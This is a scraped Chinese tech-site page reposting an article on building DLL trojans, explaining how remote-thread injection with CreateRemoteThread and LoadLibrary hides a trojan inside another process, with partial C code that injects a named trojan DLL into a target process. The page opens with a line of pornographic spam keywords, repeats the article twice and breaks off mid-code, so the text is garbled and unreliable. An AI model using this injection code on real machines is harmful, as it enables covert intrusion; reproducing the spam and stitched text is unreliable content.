浓毛老太交欧美老妇热爱乱,蜜臀性色av免费,妺妺窝人体色www看美女,久久久久久久久久久大尺度免费视频,麻豆人妻无码性色av专区

位置:51電子網(wǎng) » 技術(shù)資料 » EDA/PLD

VC++動態(tài)鏈接庫編程之DLL木馬

發(fā)布時(shí)間:2008/8/23 0:00:00 訪問次數(shù):437

  dll在程序編制中可作出巨大貢獻(xiàn),它提供了具共性代碼的復(fù)用能力。但是,正如一門高深的武學(xué),若被掌握在正義之俠的手上,便可助其仗義江湖;但若被掌握在邪惡之徒的手上,則必然在江湖上掀起腥風(fēng)血雨。dll正是一種這樣的武學(xué)。dll一旦染上了魔性,就不再是正常的dll程序,而是dll木馬,一種惡貫滿盈的病毒,令特洛伊一夜之間國破家亡。

dll木馬的原理

  dll木馬的實(shí)現(xiàn)原理是編程者在dll中包含木馬程序代碼,隨后在目標(biāo)主機(jī)中選擇特定目標(biāo)進(jìn)程,以某種方式強(qiáng)行指定該進(jìn)程調(diào)用包含木馬程序的dll,最終達(dá)到侵襲目標(biāo)系統(tǒng)的目的。

  正是dll程序自身的特點(diǎn)決定了以這種形式加載木馬不僅可行,而且具有良好的隱藏性:

  (1)dll程序被映射到宿主進(jìn)程的地址空間中,它能夠共享宿主進(jìn)程的資源,并根據(jù)宿主進(jìn)程在目標(biāo)主機(jī)的級別非法訪問相應(yīng)的系統(tǒng)資源;

  (2)dll程序沒有獨(dú)立的進(jìn)程地址空間,從而可以避免在目標(biāo)主機(jī)中留下"蛛絲馬跡",達(dá)到隱蔽自身的目的。

  dll木馬實(shí)現(xiàn)了"真隱藏",我們在任務(wù)管理器中看不到木馬"進(jìn)程",它完全溶進(jìn)了系統(tǒng)的內(nèi)核。與"真隱藏"對應(yīng)的是"假隱藏","假隱藏"木馬把自己注冊成為一個(gè)服務(wù)。雖然在任務(wù)管理器中也看不到這個(gè)進(jìn)程,但是"假隱藏"木馬本質(zhì)上還具備獨(dú)立的進(jìn)程空間。"假隱藏"只適用于windows9x的系統(tǒng),對于基于winnt的操作系統(tǒng),通過服務(wù)管理器,我們可以發(fā)現(xiàn)系統(tǒng)中注冊過的服務(wù)。

  dll木馬注入其它進(jìn)程的方法為遠(yuǎn)程線程插入。

  遠(yuǎn)程線程插入技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。將木馬程序以dll的形式實(shí)現(xiàn)后,需要使用插入到目標(biāo)進(jìn)程中的遠(yuǎn)程線程將該木馬dll插入到目標(biāo)進(jìn)程的地址空間,即利用該線程通過調(diào)用windows api loadlibrary函數(shù)來加載木馬dll,從而實(shí)現(xiàn)木馬對系統(tǒng)的侵害。

dll木馬注入程序

  這里涉及到一個(gè)非常重要的windows api――createremotethread。與之相比,我們所習(xí)慣使用的createthread api函數(shù)只能在進(jìn)程自身內(nèi)部產(chǎn)生一個(gè)新的線程,而且被創(chuàng)建的新線程與主線程共享地址空間和其他資源。而createremotethread則不同,它可以在另外的進(jìn)程中產(chǎn)生線程!createremotethread有如下特點(diǎn):

 。1)createremotethread較createthread多一個(gè)參數(shù)hprocess,該參數(shù)用于指定要?jiǎng)?chuàng)建線程的遠(yuǎn)程進(jìn)程,其函數(shù)原型為:

handle createremotethread(

handle hprocess, //遠(yuǎn)程進(jìn)程句柄

lpsecurity_attributes lpthreadattributes,

size_t dwstacksize,

lpthread_start_routine lpstartaddress,

lpvoid lpparameter,

dword dwcreationflags,

lpdword lpthreadid

);

 。2)線程函數(shù)的代碼不能位于我們用來注入dll木馬的進(jìn)程所在的地址空間中。也就是說,我們不能想當(dāng)然地自己寫一個(gè)函數(shù),并把這個(gè)函數(shù)作為遠(yuǎn)程線程的入口函數(shù);

 。3)不能把本進(jìn)程的指針作為createremotethread的參數(shù),因?yàn)楸具M(jìn)程的內(nèi)存空間與遠(yuǎn)程進(jìn)程的不一樣。

  以下程序由作者shotgun的dll木馬注入程序簡化而得(單擊此處下載,在經(jīng)典書籍《windows核心編程》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll插入到id為4000的進(jìn)程中:

#include <windows.h>

#include <stdlib.h>

#include <stdio.h>

void checkerror ( int, int, char *); //出錯(cuò)處理函數(shù)

pdword pdwthreadid;

handle hremotethread, hremoteprocess;

dword fdwcreate, dwstacksize, dwremoteprocessid;

pwstr pszlibfileremote=null;

void main(int argc,char **argv)

{

int ireturncode;

char lpdllfullpathname[max_path];

wchar pszlibfilename[max_path]={0};

dwremoteprocessid = 4000;

strcpy(lpdllfullpathname, "d:\\troydll.dll");

//將dll文件全路徑的ansi碼轉(zhuǎn)換成unicode碼

ireturncode = multibytetowidechar(cp_acp, mb_err_invalid_chars,

lpdllfullpathname, strlen(lpdllfullpathname),

pszlibfilename, max_path);

checkerror(ireturncode, 0, "multbytetowidechar");

//打開遠(yuǎn)程進(jìn)程

hremoteprocess = openprocess(process_create_thread | //允許創(chuàng)建線程

process_vm_operation | //允許vm操作

process_vm_write, //允許vm寫

false, dwremoteprocessid );

checkerror( (int) hremoteprocess, null, "remote process not exist or access denied!");

//計(jì)算dll路徑名需要的內(nèi)存空間

int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar);

<

  dll在程序編制中可作出巨大貢獻(xiàn),它提供了具共性代碼的復(fù)用能力。但是,正如一門高深的武學(xué),若被掌握在正義之俠的手上,便可助其仗義江湖;但若被掌握在邪惡之徒的手上,則必然在江湖上掀起腥風(fēng)血雨。dll正是一種這樣的武學(xué)。dll一旦染上了魔性,就不再是正常的dll程序,而是dll木馬,一種惡貫滿盈的病毒,令特洛伊一夜之間國破家亡。

dll木馬的原理

  dll木馬的實(shí)現(xiàn)原理是編程者在dll中包含木馬程序代碼,隨后在目標(biāo)主機(jī)中選擇特定目標(biāo)進(jìn)程,以某種方式強(qiáng)行指定該進(jìn)程調(diào)用包含木馬程序的dll,最終達(dá)到侵襲目標(biāo)系統(tǒng)的目的。

  正是dll程序自身的特點(diǎn)決定了以這種形式加載木馬不僅可行,而且具有良好的隱藏性:

  (1)dll程序被映射到宿主進(jìn)程的地址空間中,它能夠共享宿主進(jìn)程的資源,并根據(jù)宿主進(jìn)程在目標(biāo)主機(jī)的級別非法訪問相應(yīng)的系統(tǒng)資源;

 。2)dll程序沒有獨(dú)立的進(jìn)程地址空間,從而可以避免在目標(biāo)主機(jī)中留下"蛛絲馬跡",達(dá)到隱蔽自身的目的。

  dll木馬實(shí)現(xiàn)了"真隱藏",我們在任務(wù)管理器中看不到木馬"進(jìn)程",它完全溶進(jìn)了系統(tǒng)的內(nèi)核。與"真隱藏"對應(yīng)的是"假隱藏","假隱藏"木馬把自己注冊成為一個(gè)服務(wù)。雖然在任務(wù)管理器中也看不到這個(gè)進(jìn)程,但是"假隱藏"木馬本質(zhì)上還具備獨(dú)立的進(jìn)程空間。"假隱藏"只適用于windows9x的系統(tǒng),對于基于winnt的操作系統(tǒng),通過服務(wù)管理器,我們可以發(fā)現(xiàn)系統(tǒng)中注冊過的服務(wù)。

  dll木馬注入其它進(jìn)程的方法為遠(yuǎn)程線程插入。

  遠(yuǎn)程線程插入技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。將木馬程序以dll的形式實(shí)現(xiàn)后,需要使用插入到目標(biāo)進(jìn)程中的遠(yuǎn)程線程將該木馬dll插入到目標(biāo)進(jìn)程的地址空間,即利用該線程通過調(diào)用windows api loadlibrary函數(shù)來加載木馬dll,從而實(shí)現(xiàn)木馬對系統(tǒng)的侵害。

dll木馬注入程序

  這里涉及到一個(gè)非常重要的windows api――createremotethread。與之相比,我們所習(xí)慣使用的createthread api函數(shù)只能在進(jìn)程自身內(nèi)部產(chǎn)生一個(gè)新的線程,而且被創(chuàng)建的新線程與主線程共享地址空間和其他資源。而createremotethread則不同,它可以在另外的進(jìn)程中產(chǎn)生線程!createremotethread有如下特點(diǎn):

  (1)createremotethread較createthread多一個(gè)參數(shù)hprocess,該參數(shù)用于指定要?jiǎng)?chuàng)建線程的遠(yuǎn)程進(jìn)程,其函數(shù)原型為:

handle createremotethread(

handle hprocess, //遠(yuǎn)程進(jìn)程句柄

lpsecurity_attributes lpthreadattributes,

size_t dwstacksize,

lpthread_start_routine lpstartaddress,

lpvoid lpparameter,

dword dwcreationflags,

lpdword lpthreadid

);

 。2)線程函數(shù)的代碼不能位于我們用來注入dll木馬的進(jìn)程所在的地址空間中。也就是說,我們不能想當(dāng)然地自己寫一個(gè)函數(shù),并把這個(gè)函數(shù)作為遠(yuǎn)程線程的入口函數(shù);

 。3)不能把本進(jìn)程的指針作為createremotethread的參數(shù),因?yàn)楸具M(jìn)程的內(nèi)存空間與遠(yuǎn)程進(jìn)程的不一樣。

  以下程序由作者shotgun的dll木馬注入程序簡化而得(單擊此處下載,在經(jīng)典書籍《windows核心編程》中我們也可以看到類似的例子),它將d盤根目錄下的troydll.dll插入到id為4000的進(jìn)程中:

#include <windows.h>

#include <stdlib.h>

#include <stdio.h>

void checkerror ( int, int, char *); //出錯(cuò)處理函數(shù)

pdword pdwthreadid;

handle hremotethread, hremoteprocess;

dword fdwcreate, dwstacksize, dwremoteprocessid;

pwstr pszlibfileremote=null;

void main(int argc,char **argv)

{

int ireturncode;

char lpdllfullpathname[max_path];

wchar pszlibfilename[max_path]={0};

dwremoteprocessid = 4000;

strcpy(lpdllfullpathname, "d:\\troydll.dll");

//將dll文件全路徑的ansi碼轉(zhuǎn)換成unicode碼

ireturncode = multibytetowidechar(cp_acp, mb_err_invalid_chars,

lpdllfullpathname, strlen(lpdllfullpathname),

pszlibfilename, max_path);

checkerror(ireturncode, 0, "multbytetowidechar");

//打開遠(yuǎn)程進(jìn)程

hremoteprocess = openprocess(process_create_thread | //允許創(chuàng)建線程

process_vm_operation | //允許vm操作

process_vm_write, //允許vm寫

false, dwremoteprocessid );

checkerror( (int) hremoteprocess, null, "remote process not exist or access denied!");

//計(jì)算dll路徑名需要的內(nèi)存空間

int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar);

<
相關(guān)IC型號

熱門點(diǎn)擊

 

推薦技術(shù)資料

聲道前級設(shè)計(jì)特點(diǎn)
    與通常的Hi-Fi前級不同,EP9307-CRZ這臺分... [詳細(xì)]
版權(quán)所有:51dzw.COM
深圳服務(wù)熱線:13751165337  13692101218
粵ICP備09112631號-6(miitbeian.gov.cn)
公網(wǎng)安備44030402000607
深圳市碧威特網(wǎng)絡(luò)技術(shù)有限公司
付款方式


 復(fù)制成功!